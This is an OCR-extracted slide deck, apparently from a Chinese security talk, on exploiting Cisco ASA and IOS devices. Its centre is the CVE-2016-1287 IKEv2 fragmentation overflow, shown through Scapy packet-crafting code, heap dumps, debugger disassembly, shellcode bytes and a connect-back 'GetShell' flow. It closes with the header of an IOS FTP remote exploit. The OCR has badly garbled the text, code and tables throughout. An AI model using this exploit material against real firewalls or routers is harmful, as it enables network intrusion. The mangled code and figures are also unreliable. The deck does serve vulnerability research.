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4% 1 4% TR TFIA 1 ~—

(ASA) | 2014.10- | 2015 2016.1- (CIsco 2016.1-
2014.12 2016.6 10S) 2016.5
Dos 9 9 4 Dos 32 68 15

Bypass 1 3 1 Bypass 2 3 0
HoAth 8 3 1 HAth 7 3 2
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BT 52

» Attacking Network Embedded System Felix ‘FX’ Lindner 2002

e The Holy Grail Cisco I10S Shellcode And Exploitation Technigues Michael Lynn 2005

e CiscolOS Shellcodes Gyan Chawdhary, Varun Uppal 2007

* CiscolOS - Attack & Defense. The State of the Art Felix ’FX’ Lindner 2008

* Router Exploitation Felix "FX’ Lindner 2009

e Fuzzing and Debugging Cisco |0S SebasEan Muniz, Alfredo Ortega 2011

* Killing the Myth of Cisco IOS Diversity Ang Cui, JaEn Kataria, Salvatore J. Stolfo 2011

* Breaking Bricks and Plumbing Pipes:Cisco ASA a Super Mario Adventure Alec Stuart-
Muirk 2014

* CiscolOS shellcode:all-in-one George Nosenko 2015

* Execute my packet David Barksdale,Jordan Gruskovnjak,Alex Wheeler 2016
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| RE—1. HH—] Google

index of c3620

All Images Shopping News Videos More v Search tools

About 31,000 results (0.44 seconds)

Index of ffiles

skynet.ua/files/ v

Index of /files ... 17-Apr-2015 13:43, 17M. [ ], €3620-is-mz.123-24.bin, 17-Apr-2015
19:44, 16M. [ ], flashplayer_11_plugin_debug_32bit.exe, 18-Apr-2012 15:22 ...

Index of /finalproductioncopy/OM3/C3600-C3699/C3620
abornelectronicssanjose.com/finalproductioncopy/OM3/C3600.../C3620/ ¥
Index of /finalproductioncopy/OM3/C3600-C3699/C3620. Icon Name Last modified Size
Description. [DIR] Parent Directory - [ ] C3620.pdf 04-Nov-2015 15:17 ...

C3620 can't boot after xmodem - Cisco: Routers - Tek-Tips
www.tek-tips.com/viewthread.cim?qid=1535240 v

Mar 7, 2009 - C3620 can't boot after xmodem ... rommon 1 > xmodem ¢3620-i-mz.122-
26c¢.bin .... http://supportwiki.cisco.com/ViewWiki/index.php/ ...

C3620 | Built-in Panel PC - BECKHOFF New Automation Tec...
https://iwww.beckhoff.com/english/industrial_pc/c3620.htm v

Product index ... The Panel PC C3620 is designed for installation into the front of a
control cabinet. ... The C3620 is ideally suited for machine construction and plant
engineering applications, for example with the TwinCAT automation software ...

File-iso.com( A referece to download Cisco 10S )
file-iso.com/Cisco/index.php?s=t&o=dsc&d=36xx%2F 3620 v
€3620-tscgen-331T-mz, 14.91 MB, SIT, 07/01/2016 07:14 PM. ios-gen-key2, 0.01 MB,
JPG, 07/01/2016 07:10 PM. ¢3620-do3s-mz.122-2.T, 11.90 MB, BIN ...

(=



| B&x—1. BHE—1)

ASA [ 14 fif £,

Some
loader

Direct booting from floppy is no longer supported.

vmlinuz

initrd > gzip/E 4 Hrootfs.img
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lina

S cpio -id < rootfs.img
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config

boot

lina

bin

etc

asa

| B&x—1. BHE—1)

init

-
home
-
opt
o
share
wd
var

sbin
usr

%-mih— H-

dev
lib64
root

tmp
linuxrc

N: @

10
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lina

* S cpio -id< rootfs.img

* Sls/asa/bin/

e coredump_helper lina lina_monitor
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ASA R G &R

170 West Tasman Drive File Edit Jump Search View Debugger Options Windows Help

san Jose, California 95134-1706 » O O Rocte 6B debugzer LG4 8 o ol sl =R

fetcher: channel open failed ' _[
MIGRATION Could not get the startup configuration. Litrary function | Data [l Requler function I Vnexplored M Inztruction  Exte

e G T Debuz Viev @ | B Structares | B s s

0O & X | i§f General
T TP I S TR e T
COREDUMP UPDATE: open message queue fail: No such file or directory/2 MEMDRY : BRAGAFD3 db ADBh ; ECX FSH)
COREDUMP UPDATE: unable to send coredump message to lina_monitor HEMORY : BBBOAEDY ; — - e EDX 000
HEMORY : 0BG6GAEDS mov edx, [ebp-2Ch]) EBX Q09
INFO: MIGRATION Saving the startup errors to file 'flash:upgrade MEMORY : DBBGAEDZ nz loc_80681AB ESP €3
s_201605300811.10g" HEMDRY : BRAGAEDD EBP (38
D=t = s - - HEMORY : B8G6AEDD loc_8B6AEDD: ESI  D3D|
Pre-configure Firewall now through interactive prompts [yes]? n HEMORY : UBB6REDD moy [esp+iun], eax EDI D3D
MEMORY : BBOSAEET mou eax, off AE3M38 EIP B89
HEMORY : BRAGAEES mov [esp+ 1, edx EFL 0009
HEMORY : BBGGAEEA mov edx, off_AE3613C cs a0o)
HEMORY : UBUGAEF 0 mov ecx, [ebp-3bh] SS AnA)
Type help or '?' for a list of avallable commands. HEMORY : RBAGAEF3 mou ebx, [ebp-2Ch] DS 000)
ciscoasa HEMORY : BBAGAEFS mov [esp+i], eax ES voo
- HEMORY : OBOGAEFA mov [esp+¥], edx FS :::
clscoasa> UNKNONN OB06AED4: MEMORY:OEDGAED4 (Synchronized with EIF) - E?n a

ciscoasa> ‘ L < il
ciscoasa> (5] Hex ¥ien-1 0O® x (@5
FEFFFFFO 77 7?7 %7 27 77 2?7 77 77 ?1???7?77?7?7?7?.“&!1
FFFFFFFF C3nF|
C3AF
C3Af
C3IAF
C3AF
C3AF
CIAl
C3anF
C3AF
C3AF
C3AF
C3nF
C3AF
C3AF
~ e

« M ’ ‘
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rdz

EP) #EE(E) =&V YEEia) 1TEM ZEEH)

p == v wp w ¥ i
AN OIS OWE S8 BW BER BE

2 I[] \€3620-i-mz.123-22.bin\

£ Fh FEEEFN EXETE
] C3620-1-.BIN 19 440 332 7735028 2007-01-24 1..
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10S RS &R

# dynamips -Z 1234 -P 3600 -t 3620 -j -s slot:f0/0:1inux_eth:eth® C3620
-I-.BIN
Cisco Router Simulation Platform (version 0.2.8-RC2-x86)
Copyright (c) 2005-2007 Christophe Fillot.
Build date: May 12 2014 21:37:54

C3600 'default': unable to add NETIO binding for slot 0O
I0S image file: C3620-I-.BIN

ILT: loaded table "mips64j" from cache.
ILT: loaded table "mips64e" from cache.
ILT: loaded table "ppc32j" from cache.
ILT: loaded table "ppc32e" from cache.
C3600 instance 'default' (id 0):

VM Status : O

RAM size : 128 Mb

NVRAM size : 128 Kb

Chassis 1 3620

I0S image : C3620-I-.BIN

Loading ELF file 'C3620-I-.BIN'...
ELF entry point: 0Ox80008000

C3600 'default': starting simulation (CPUG PC=0xffffffffbfcOEOOO), JIT disabled.
GDB Server listening on port 1234.




| B&x—1. BHE—1)

14



| B&x—1. BHE—1)

15



| B&x—1. BHE—1)

HHLAR

asa924-k8.bin
quiet loglevel=0 auto => rdinit=/bin/sh

Freeing unused kernel memory: 156k freed
Write protecting the kernel text: 1732k
Write protecting the kernel read-only data: 504k
: can't access tty; job control turned off

-1 "s/#\(.*\)ttyusBe\(.*\)/\1ttyse\2/' /asa/scripts/rcS
#|exec /sbin/init
dosfsck 2.11, 12 Mar 2005, FAT32, LFN
Starting check/repair pass.
Starting verification pass.
/dev/hda1l: 180 files, 51806/6201FAT: "posix" option is obsolete, not supported
4 clusters
dosfsck(/dev/hdal) returned ©
TIPC: Started in network mode
TIPC: Own node address <1.1.1>, network identity 1234
TIPC: Enabled bearer <eth:tap0>, discovery domain <1.1.0>, priority 10
msrif: module license 'Cisco Systems, Inc' taints kernel.
msrif module loaded.
SMFW PID: 513, SMFW started in mode 0
SMFW PID: 513, started gdbserver on member: 515//asa/bin/lina
SMFW PID: 515, Starting /asa/bin/lina under gdbserver /dev/ttySe
SMFW PID: 513, created member ASA BLOB, PID=515
Process /asa/bin/lina created; pid = 518
Remote debugging using /dev/ttySO_

15
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B ERA L

ciscoasa# debug crypto ikev2 protocol

ciscoasa# IKEv2-PROTO-1: Invalid packet length 288 285IKEv2-PROTO-1: (1
: Detected an invalid value in the packet

IKEv2-PROTO-1: (1): Failed to validate the packet

ciscoasa# IKEv2-PROTO-1: (1): Failed to receive the AUTH msg before the

timer expired

IKEv2-PROTO-1: (1):

IKEvV2-PROTO-1: (1): Auth exchange failed
IKEvV2-PROTO-1: (1): Auth exchange failed

16
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ciscoasa# sh crashinfo
Saved_Crash

Thread Name: IKEv2 Daemon

Abort: Unknown

vector Ox60000020

edi Ox606000001

esi Oxcbc922¢o

ebp Oxcbe5an6s

esp Oxcbe5a6¢cs

ebx 0xcbc922e0

edx Oxcbc922¢o

ecx Oxcbc922e0

eax Ox000000d3
error code n/a

eip 0x09beSdc7

cs Ox00000073

eflags 0x00203293

CR2 Ox00000000

Cisco Adaptive Security Appliance Software Version 9.2(4)

Compiled on Tue 14-Jul-15 22:19 by buillders
Hardware: ASAS505
Crashinfo collected on 07:12:48.909 UTC Fri Jun 3 2016

Traceback:
0x08063ded
0x08063e21
Ox08065ff5
0x090ecs5b3
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CVE-2016-1287

Cisco ASA Software IKEv! and IKEv2 Buffer Overflow Vulnerability

Advisory ID: cisco-sa-20160210-asa-ike CVE-2016-1287
Last Updated: 2016 May 181350 GMT CWE-119
Published: 2016 February 101600 6MT - Cisco ASA 5500 Series Adaptive Security Appliances
Version 1.3: ~ Final * Cisco ASA 5500-X Series Next-Generation Firewalls
CVSS Score: ~ Base- 10.0 e Cisco ASA Services Module for Cisco Catalyst 6500
Workarounds: No workarounds available Series Switches
CiscoBug IDs:  CSCux29978 ° Cisco 7600 Series Routers

CSCuxd2019 * Cisco ASA 1000V Cloud Firewall

» Cisco Adaptive Security Virtual Appliance (ASAv)
* Cisco Firepower 9300 ASA Security Module
* CiscoISA 3000 Industrial Security Appliance

17
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IKEV2 1M

Source Destination Protocol Length Info

10.10.10.2 10.10.10.1 ISAKMP 432 IKE_SA_INIT MID=0@ Initiator Request
10.10.10.1 10.10.10.2 ISAKMP 432 IKE_SA_INIT MID=00 Responder Response
10.10.10.2 10.10.10.1 ISAKMP 294 IKE_AUTH MID=01 Initiator Request
10.10.10.1 10.10.10.2 ISAKMP 262 IKE_AUTH MID=01 Responder Response
10.10.10.2 10.10.10.1 ISAKMP 110 INFORMATIONAL MID=02 Initiator Request
10.10.10.1 10.10.10.2 ISAKMP 110 INFORMATIONAL MID=02 Responder Response
10.10.10.2 10.10.10.1 ISAKMP 110 INFORMATIONAL MID=03 Initiator Request
10.10.10.1 10.10.10.2 ISAKMP 110 INFORMATIONAL MID=03 Responder Response
Source Destination Protocol Length Info

10.10.10.2 10.10.10.1 ISAKMP 102 INFORMATIONAL MID=12 Responder Request
10.10.10.1 10.10.10.2 ISAKMP 102 INFORMATIONAL MID=12 Initiator Response
10.10.10.1 10.10.10.2 ISAKMP 102 INFORMATIONAL MID=14 Initiator Request
10.10.10.2 10.10.10.1 ISAKMP 102 INFORMATIONAL MID=14 Responder Response
10.10.10.2 10.10.10.1 ESP 118 ESP (SPI=0x9cc9lae2)

10.10.10.1 10.10.10.2 ESP 118 ESP (SPI=0x40094669)

10.10.10.2 10.10.10.1 ESP 110 ESP (SPI=0x9cc9lae2)

10.10.10.2 10.10.10.1 ESP 150 ESP (SPI=0x9cc9lae2)

18
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{55 FScapyiiEPOC

class IKEv2 Fragmentation(IKEv2 class):

name "IKEv2 Fragmentation"

overload fields { IKEv2: { "next payload":132 }}

fields desc [
ByteEnumField("next payload",None,IKEv2 payload type),
ByteField("res",0),
FieldLenField("length",6None, "load","H", adjust=1ambda pkt, x:
ShortField("frag id",None),
ByteField("seq num",6None),
ByteField("last frag",6None
StrLenField("load","", leng from=1lambda x:x.length-8),
]

send(IP(dst-'192.168.15.11")
UDP()

pe="IKE_AUTH"

seq_num=1,Llast_frac

)

"Initiator”,id=1)

‘C

payloadlen)

19
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<call ikeuv2_ chk_neg_and_sa__>
cmp eax; 1 \\\\\““\\\
EHLRNRE RS

mov eax, [esi+8D8h]
mou ebp+vayr 141, eax //////’//
es byte ptyr [eax+08A8Sh

j oC

«<_ test byte ptyr [eax+BACh], 2> — VendorID:
iz 16c_877CBSE Fragment
mov edx, [ebp+var_14]
mov [esp+4], edi
mov [esp], edx
call ikev2_ add_rcv_frag

send(IP(dst="1.2.3.4")
UDP()
"Initiator”

C R ST - net 4 1 load="€"
rag 1a g num=1,Last rag=1,Loaa f
J J_ { _J f

)
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I v A

configuration
attributes

X3

configuration
attributes

+ shellcode

21
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ikev2 daemon

HEBRAEAL

X/h 2130 Fxsh: 130
X
FN:100 | Z/h 2130
30
1
AN :100 | KN 60 K100
/160 /N 2 100

Fh: 100 - /) 2 100

ikev2 fragment parse

22
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Oxe100d4do
OxX00000000
0x0875ba64
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
9xe100d4do
9x00000000
Oxf3eed123
OXx00000030
IX00000000
OX00000000
Oxe100d4do
9x41414141
9x41414141

HEBRAEAL

Ox00000163
Ox00000000
0x0877dddc
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
0x00000000
Ox00000000
0x00000000
Ox00000000
Ox00000000
0x00000161
Ox00000000
OxX00000000
0x00000132
Ox00000000
0x08768e42
0x00000103
0x41414141
0x41414141

0xallcO0123
Oxcbf2e920
0x90909090
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Oxcbf2e8e8
Oxcbf2c278
Ox5ee33210
Ox5ee3fedc
Oxc8002000
Oxallccdef
0xallcO0123
0x41414141
0x41414141

Ox00000130
Oxc843b1a0
0x90909090
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Oxcbf2e8e8
Ox00000000
Oxf3eecdef
Ox00000100
Ox0a99b794
Oxf3eecdef
OxX000000e0
0x41414141
0x41414141

22



| B&x—1. BHE—1)

0xe100d4do
Ox00000000
0x0875ba64
OxX00000000
Ox00000000
Ox00000000
Ox00000000
OxX00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
0x00000000
Ox00000000
Ox00000000
Oxe100d4do
Oxf3ee0123
Ox00000000
Ix00000030
Ix00000000
OX00000000
Oxe100d4do
9x41414141
9x41414141

HEBRAEAL

0x00000163
0x00000000
0x0877dddc
OxX00000000
Ox00000000
Ox00000000
Ox00000000
OxX00000000
OxX00000000
0x00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
0x00000031
Ox00000000
Ox00000000
0x00000132
Ox00000000
Ox00000000
Ox00000103
oX41a14 141
0x41414141

0xallcO123
Oxcbf2e920
0x90909090
OxX00000000
0x00000000
0x00000000
0x00000000
OxX00000000
Ox00000000
0x00000000
0x00000000
0x00000000
Ox00000000
Ox00000000
0x00000000
0x00000000
Oxc821ff90
Ox00000000
Ox5ee33210
0xa11cO0123
HXCc8002000
Oxallccdef
0xallc0123
0x41414141
0x41414141

0x00000130
0xc843b1a0
0x90909090
OxX00000000
Ox00000000
Ox00000000
Ox00000000
OxX00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
OXc8001TTS
OX00000000
Oxf3eecdef
Ox00000100
0x0a99b7924
Oxf3eecdef
Ox000000e0
0x41414141
0x41414141

22
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REURIE AT

defragment

reallocate

uration
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REURIE AT

Breakpoint 2, ©x08768d15 in 2?2 () Jtext: 08768006 mv  [esp+8], ecx  ; exc points to new fragnent
(gdb) x/wx Sedx Jtext: 087680 0A mov  dword ptr [esp+h], 0
0xa99b7a4: 0xc8002000 .text: 08768012 mv  [esp], eax
(gdb) x/21 0xc8002000
0xc8002000: nop Jtext:08768D17 test  eax, eax
0xc8002001: jmp  DWORD PTR [ecx] QEPMREIIITIN jz  short loc 876804

(gdb) x/wx Secx

0xc843dba8s: 0xcbf3be10

(gdb) x/51 0xcbf3be10
Oxcbf3be16: jmp 0xcbf3be18
Oxcbf3be12: add bl,BYTE PTR [edx]
Oxcbf3be14: add bl,ch
Oxcbf3be16: add eax,0x2c76000

Oxcbf3belb: nop

(gdb) x/51 0xcbf3be18
Oxcbf3be18: pusha
Oxcbf3be19: mov DWORD PTR [edx],0x9b96790
0xcbf3belf: mov eax,DWORD PTR [ebp-0x8]
0xcbf3be22: mov eax,DWORD PTR [eax+0x5c]
0xcbf3be25: mov eax,DWORD PTR [eax+0x4]

pe Payload: Cisco-Fragmentation (132)

Next payload: Private Use (235)
Q... .... = Critical Bit: Not Critical

Payload length: 482

Frag ID: ©x@0@eb

Frag seq: 5

Frag last: More fragments (©)

01 00 00 01 92 e
90 67 b9 @9 8b 45 8b 40 5c
8b 40 04 8b 0@ 85 74 3b 50

8d 98 d8 00 00 00 81 3b de
7b 04 31 74 de 89 2d 00 01
01 00 00 c7 40 Oc 00 00 00
@ ef cd 1c al 55 31 31 ff 4f
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GetShell

clean up heap

4

start_loopback_ proxy ()

4

fork ()

4

retn

9

classic connect-back
shellcode

24



| B&x—1. BHE—1)

A Fi 7 1 7]

IPE R 9 A
HARFEFE T

25



| B&x—1. BHE—1)

H] BE IR DRI ME

PERIEIE SRR, PR A A K TMTU

Defragmentff 5 7 [f]attribute /S ] BE 1Y 2
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X 28152 2% 1] FH e A7 1D 1

Arm, PowerPC, MipsZEM & SeAF—

WG A, 7 2 08 AR [ 1 R A
[P 8% A 355 1K) 52 i

FUE )
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ZAF— B R

AAAAAAAA

nenepy e 2!

return
CPU \ 4 Memory

oA ETE ‘)(4 AAAAAAAA
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ZAF— B R
/*
Cisco IOS FTP server remote exploit by Andy Davis 2008
Cisco Advisory ID: cisco-sa-200705@9-iosftp - May 2007
Specific hard-coded addresses for IOS 12.3(18) on a 2621XM router

Removes the requirement to authenticate and escalates to level 15

EEEEE S RS S S S S EEE RS EEEE S L EEE S S EEEE S RS S EEE S S EEEE R kS

To protect the innocent a critical step has been omitted, which means
the shellcode will only execute when the router is attached to gdb.

I'm sure the PowerPC shellcoders out there will work it out...
EEEEE S S R EEE S S EEEE S S S EEEE S S S EEEE S S S EEE RS SRR RS S RS RS RS

Thanks to Gyan Chawdhary and Varun Uppal for all the hours they spent
on the original IOS security research

iosftpexpleit <at> googlemail 'dot' com

=/
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